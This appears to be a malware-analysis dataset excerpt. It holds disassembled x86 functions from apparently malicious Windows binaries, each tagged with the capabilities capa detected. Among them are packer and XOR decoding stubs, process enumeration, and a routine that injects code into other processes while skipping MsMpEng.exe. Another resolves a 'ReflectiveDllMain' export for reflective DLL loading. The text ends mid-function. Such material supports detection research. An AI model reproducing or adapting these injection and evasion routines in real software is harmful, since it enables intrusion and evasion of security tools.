joyce8/EMBER2024-capa huggingface dataset:
Function at 0x824058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8241a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x82407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x82406a
add dl, dl
jne 0x824089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8240dc
xor eax, eax
add dl, dl
jne 0x824096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x82417d
add dl, dl
jne 0x8240a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8240b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8240bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8240c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8240d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x824075
mov eax, 1
add dl, dl
jne 0x8240ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8240f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8240e1
sub eax, ebx
mov ebx, 1
jne 0x824128
mov ecx, 1
add dl, dl
jne 0x82410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x824119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x824105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x824075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x82413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x82414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x824136
cmp eax, 0x7d00
jae 0x82416d
cmp eax, 0x500
jb 0x824168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x824075
cmp eax, 0x7f
ja 0x824170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x824075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x82419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x824075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4140b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x4140bf
pop dword [ebp - 0x24]
mov eax, 0xb5fddffa
sub eax, 0xb5bc9f3b
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xd4d7b1d7
sub dword [ebp - 0x34], 0x86856c8c
mov dword [ebp - 0x30], 0x3bf8beac
sub dword [ebp - 0x30], 0x9c57267
mov dword [ebp - 0x2c], 0x4c5d09f5
add dword [ebp - 0x2c], 0xffef3a39
mov dword [ebp - 0x28], 0xd57a4969
add dword [ebp - 0x28], 0x2a85b697
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xcad3800f
sub dword [ebp - 0x34], 0x566116b9
mov dword [ebp - 0x30], 0x711797d8
add dword [ebp - 0x30], 0xd054c99d
mov dword [ebp - 0x2c], 0xe19fcb9b
add dword [ebp - 0x2c], 0x81cfa0d1
mov dword [ebp - 0x28], 0x3e950ae5
sub dword [ebp - 0x28], 0x3e950ae5
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x2adc537d
sub eax, 0x2a9ad331
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x38bb6
push 0
call eax
mov ecx, 0x3d6a
xor edi, edi
add edi, eax
mov ebx, 0x13158101
add ebx, 0xed2d56ff
add ebx, dword [ebp - 0x24]
mov edx, 0x588d7feb
sub edx, 0x6602b4d8
xor dword [ebp - 0x14], ebx
mov esi, dword [ebx]
sub dword [ebp - 0x18], esi
sub esi, edx
add dword [ebp - 0x1c], 0x21590bd
mov dword [edi], esi
sub dword [ebp - 0x14], eax
add edi, 0x4b648c3c
sub edi, 0x4b648c38
add ebx, 0xb1f172e0
add ebx, 0x4e0e8d24
loop 0x4141d8
add eax, 0xe87b
mov ebx, eax
add eax, 0x556ba9bf
sub eax, 0x556ba9ba
mov ecx, 0x7ed6c62a
add ecx, 0x816939d6
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x44f620
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4a000]
push edi
jmp 0x44f63a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x44f641
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x44f630
mov eax, 1
add ebx, ebx
jne 0x44f653
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x44f648
jne 0x44f664
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44f648
xor ecx, ecx
sub eax, 3
jb 0x44f678
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x44f6ea
mov ebp, eax
add ebx, ebx
jne 0x44f683
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x44f690
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x44f6b4
inc ecx
add ebx, ebx
jne 0x44f6a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x44f695
jne 0x44f6b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x44f695
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x44f6d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x44f6c5
jmp 0x44f636
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x44f6d4
add edi, ecx
jmp 0x44f636
pop esi
mov edi, esi
mov ecx, 0x24a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x44f6f2
cmp byte [edi], 1
jne 0x44f6f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x44f6f7
lea edi, [esi + 0x4d000]
mov eax, dword [edi]
or eax, eax
je 0x44f76f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x61db0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x61e7c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x44f724
mov ecx, edi
jns 0x44f753
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x61e84]
or eax, eax
je 0x44f769
mov dword [ebx], eax
add ebx, 4
jmp 0x44f741
call dword [esi + 0x61e80]
mov ebp, dword [esi + 0x61e88]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1f7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x44f7a3
sub esp, 0xffffff80
jmp 0x40323c
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x28472ca1
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x3f842926
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x100012f2
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x9c40
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
and dword [ebp - 4], esi
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x9c40
push edi
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x1000135a
mov eax, dword [ebp - 4]
shr eax, 2
mov dword [ebp - 4], eax
test eax, eax
je 0x10001357
push dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov ecx, dword [edi + esi*4]
call fcn.100019d2
push dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov ecx, dword [edi + esi*4]
call fcn.100019d2
inc esi
pop ecx
pop ecx
cmp esi, dword [ebp - 4]
jb 0x10001333
xor esi, esi
inc esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x1000148e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
push ebx
push esi
push edi
xor esi, esi
lea eax, [ebp - 8]
push esi
push esi
push esi
push esi
push eax
push esi
push esi
push esi
push esi
push esi
mov edi, edx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x1000157a
mov dword [ebp - 4], esi
cmp dword [ebp - 8], esi
jbe 0x1000157a
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 0x64
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], 4
push eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xe8]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x1000156d
cmp dword [ebp - 0x14], 4
jne 0x1000156d
mov eax, dword [ebp - 0x18]
mov ecx, ebx
mov edx, eax
mov dword [ebp - 0x20], eax
call fcn.100015b7
test eax, eax
jne 0x1000156d
mov eax, dword [ebx + 4]
cmp dword [ebx], eax
jne 0x10001560
add eax, 0x10
mov dword [ebx + 4], eax
shl eax, 2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebx]
mov edi, eax
mov esi, dword [ebx + 8]
shl ecx, 2
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 8]
push ecx
push 0
mov dword [ebx + 8], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 0x1c]
mov ecx, dword [ebx]
mov eax, dword [ebx + 8]
mov edx, dword [ebp - 0x20]
mov dword [eax + ecx*4], edx
inc dword [ebx]
inc esi
mov dword [ebp - 4], esi
cmp esi, dword [ebp - 8]
jb 0x100014cc
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001617
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
push ebx
push edi
xor ebx, ebx
mov edi, ecx
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 8]
mov eax, edx
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x10001700
push esi
push 0x20a
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp dword [ebp - 8], ebx
jbe 0x100016ef
lea eax, [ebp - 0xc]
mov dword [ebp - 0x10], 0x64
push eax
push esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], 0x104
push eax
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xe0]
push eax
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x100016e5
cmp dword [ebp - 0x18], 1
jne 0x100016e5
test esi, esi
je 0x100016dc
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [edi], ecx
jbe 0x100016dc
cmp dword [edi + 8], 0
mov eax, dword [edi + 0xc]
push esi
mov eax, dword [eax + ecx*4]
push eax
je 0x100016c2
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
jmp 0x100016c8
call dword [sym.imp.SHLWAPI.dll_StrCmpW]
neg eax
sbb eax, eax
inc eax
test eax, eax
jne 0x100016e5
mov ecx, dword [ebp - 4]
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, dword [edi]
jb 0x100016ac
mov edx, esi
mov ecx, edi
call fcn.10001756
inc ebx
cmp ebx, dword [ebp - 8]
jb 0x10001667
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
pop ebx
leave
ret
Function at 0x100019d2
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
mov esi, edx
xor ebx, ebx
push edi
lea edx, [ebp - 8]
mov dword [ebp - 4], esi
mov edi, ecx
call fcn.10001db4
test eax, eax
je 0x10001b70
lea edx, [ebp - 0xc]
mov ecx, esi
call fcn.10001fee
test eax, eax
je 0x10001b70
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc]
jne 0x10001b70
push edi
push ebx
push 0x43a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10001b70
push ecx
lea eax, [ebp - 0x21c]
xor edx, edx
push eax
mov ecx, edi
call fcn.10001ec3
pop ecx
pop ecx
test eax, eax
je 0x10001a72
mov dword [ebp - 0x10], str.MsMpEng.exe
xor edi, edi
mov dword [ebp - 0xc], str.MSBuild.exe
push dword [ebp + edi*4 - 0x10]
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x10001b69
inc edi
cmp edi, 2
jb 0x10001a53
push 0
push 4
lea eax, [ebp - 0xc]
push eax
push 0x1d
push esi
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
js 0x10001b69
cmp dword [ebp - 0xc], ebx
jne 0x10001b69
lea edx, [ebp - 8]
mov ecx, esi
call fcn.10001e2b
test eax, eax
je 0x10001b69
cmp dword [ebp - 8], 0x2000
jb 0x10001b69
mov ecx, dword [ebp - 4]
call fcn.10002023
mov dword [ebp - 8], eax
test eax, eax
je 0x10001b69
push 0x40
push 0x3000
push dword [ebp + 8]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10001b69
push 0
push dword [ebp + 8]
push dword [ebp - 4]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001b69
mov eax, dword [ebp - 8]
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push edi
add eax, edi
mov dword [ebp - 4], ecx
push eax
push esi
push ecx
lea eax, [ebp - 4]
push 0x1fffff
push eax
call fcn.10001e0c
call eax
test eax, eax
js 0x10001b69
cmp dword [ebp - 4], ebx
je 0x10001b69
push 0x64
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10001b60
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x10001b4b
xor ebx, ebx
cmp dword [ebp - 8], ebx
setne bl
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
neg eax
sbb eax, eax
and ebx, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x10001b77
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], edx
push 0x9c40
push ebx
mov edi, ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call esi
push 0x9c40
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov esi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
push 0x9c40
push esi
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x10001cf5
mov eax, dword [ebp - 0xc]
shr eax, 2
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10001cf3
add edi, 8
mov dword [ebp - 0x18], edi
push dword [esi + ebx*4]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10001ce9
push 3
lea eax, [ebp - 8]
push eax
push 0x9c40
push dword [ebp - 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModulesEx]
test eax, eax
je 0x10001ce2
mov eax, dword [ebp - 8]
xor esi, esi
shr eax, 2
mov dword [ebp - 8], eax
test eax, eax
je 0x10001cdf
push 0
push 0x200
lea eax, [ebp - 0x224]
push eax
mov eax, dword [ebp - 0x10]
push dword [eax + esi*4]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10001c82
mov cx, word [ebp - 0x1e4]
mov eax, 0x7277
cmp cx, ax
je 0x10001c8a
add eax, 0xfffffffc
cmp cx, ax
je 0x10001c8a
mov eax, 0x7268
cmp cx, ax
je 0x10001c8a
inc esi
cmp esi, dword [ebp - 8]
jb 0x10001c40
jmp 0x10001cdf
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
cmp edx, dword [eax]
jae 0x10001cdb
mov eax, dword [ebp - 4]
mov esi, dword [ebp - 0x18]
mov eax, dword [eax + ebx*4]
mov dword [esi - 8], eax
mov eax, 0x7277
mov word [esi - 4], cx
cmp cx, ax
jne 0x10001cbc
mov eax, dword [ebp - 0x1e2]
mov ecx, dword [ebp - 0x1de]
jmp 0x10001cca
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
inc edx
mov dword [esi], eax
mov dword [esi + 4], ecx
add esi, 0x10
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], esi
jmp 0x10001cdf
and dword [ebp - 0x24], 0
mov esi, dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x10001bf6
xor ebx, ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
pop ebx
leave
ret
Function at 0x10002023
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea edx, [ebp - 8]
mov esi, ecx
call fcn.10001fee
test eax, eax
je 0x100020ad
cmp dword [ebp - 8], 0
mov ecx, esi
mov eax, dword [esi + 0x3c]
je 0x1000204d
mov edx, dword [eax + esi + 0x88]
jmp 0x10002051
mov edx, dword [eax + esi + 0x78]
call fcn.100020d2
mov ecx, esi
lea ebx, [eax + esi]
mov edx, dword [ebx + 0x20]
mov dword [ebp - 4], ebx
call fcn.100020d2
mov edx, dword [ebx + 0x24]
mov ecx, esi
lea edi, [esi + eax]
call fcn.100020d2
add eax, esi
xor ebx, ebx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 0x18], ebx
jbe 0x100020ad
mov edx, dword [edi]
mov ecx, esi
push str.ReflectiveDllMain
call fcn.100020d2
add eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
mov eax, dword [ebp - 4]
jne 0x100020b4
add dword [ebp - 8], 2
add edi, 4
inc ebx
cmp ebx, dword [eax + 0x18]
jb 0x10002082
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edx, dword [eax + 0x1c]
mov ecx, esi
call fcn.100020d2
mov ecx, dword [ebp - 8]
add eax, esi
movzx edx, word [ecx]
mov ecx, esi
mov edx, dword [eax + edx*4]
call fcn.100020d2
jmp 0x100020af
Function at 0x401800
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x4f6414]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push 0x104
push 0
push eax
mov dword [ebp - 0x10c], 0
call fcn.00465ca0
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push dword [ebp + 0xc]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
cmp byte [ebp - 0x108], 0
jne 0x401869
xor ecx, ecx
jmp 0x40187b
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401872
sub ecx, edx
push ecx
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00404ed0
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004640c2
mov esp, ebp
pop ebp
ret
Function at 0x401c90
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfd88
mov eax, dword fs:[0]
push eax
sub esp, 0x24c
mov eax, dword [0x4f6414]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov dword [ebp - 0x258], ecx
push 0x22c
lea eax, [ebp - 0x254]
push 0
push eax
call fcn.00465ca0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401cf4
xor al, al
jmp 0x401de8
lea eax, [ebp - 0x254]
mov dword [ebp - 0x254], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401ddf
nop dword [eax]
nop dword [eax + eax]
lea edx, [ebp - 0x230]
lea ecx, [ebp - 0x28]
call fcn.004021f0
mov ecx, dword [ebp - 0x258]
lea esi, [ebp - 0x28]
mov dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x10
cmovae esi, dword [ebp - 0x28]
call fcn.00404660
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401d8c
mov esi, dword [ebx]
lea eax, [ebp - 0x24c]
push eax
push dword [esi + 4]
push esi
call fcn.00403b50
mov edx, eax
mov ecx, 0x15555554
mov eax, dword [ebx + 4]
sub ecx, eax
cmp ecx, 1
jb 0x401e04
lea ecx, [eax + 1]
mov dword [ebx + 4], ecx
mov dword [esi + 4], edx
mov eax, dword [edx + 4]
mov dword [eax], edx
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x401dc9
mov eax, dword [ebp - 0x28]
inc ecx
cmp ecx, 0x1000
jb 0x401dc0
test al, 0x1f
jne 0x401e0e
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x401e0e
sub eax, ecx
cmp eax, 4
jb 0x401e0e
cmp eax, 0x23
ja 0x401e0e
mov eax, ecx
push eax
call fcn.0043a731
add esp, 4
lea eax, [ebp - 0x254]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401d20
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004640c2
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.00418567
call fcn.0046e308
int3
Function at 0x401e20
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfdb8
mov eax, dword fs:[0]
push eax
sub esp, 0x250
mov eax, dword [0x4f6414]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
push 0x22c
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x254]
push 0
push eax
call fcn.00465ca0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401e88
xor al, al
jmp 0x401f86
lea eax, [ebp - 0x254]
mov dword [ebp - 0x254], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401f7d
nop dword [eax + eax]
lea edx, [ebp - 0x230]
lea ecx, [ebp - 0x28]
call fcn.004021f0
mov ecx, dword [ebp - 0x258]
lea esi, [ebp - 0x28]
mov dword [ebp - 4], 0
cmp dword [ebp - 0x14], 0x10
cmovae esi, dword [ebp - 0x28]
call fcn.00404660
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401f2a
mov eax, dword [ebp - 0x24c]
mov ecx, ebx
mov esi, dword [ebx]
mov dword [ebp - 0x25c], eax
lea eax, [ebp - 0x25c]
push eax
push dword [esi + 4]
push esi
call fcn.00403b50
mov edx, eax
mov ecx, 0x15555554
mov eax, dword [ebx + 4]
sub ecx, eax
cmp ecx, 1
jb 0x401fa2
lea ecx, [eax + 1]
mov dword [ebx + 4], ecx
mov dword [esi + 4], edx
mov eax, dword [edx + 4]
mov dword [eax], edx
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x401f67
mov eax, dword [ebp - 0x28]
inc ecx
cmp ecx, 0x1000
jb 0x401f5e
test al, 0x1f
jne 0x401fac
mov ecx, dword [eax - 4]
cmp ecx, eax
jae 0x401fac
sub eax, ecx
cmp eax, 4
jb 0x401fac
cmp eax, 0x23
ja 0x401fac
mov eax, ecx
push eax
call fcn.0043a731
add esp, 4
lea eax, [ebp - 0x254]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401eb0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004640c2
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.00418567
call fcn.0046e308
int3

Function at 0x402610
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ax, word [ebp - 0x24]
cmp ax, 9
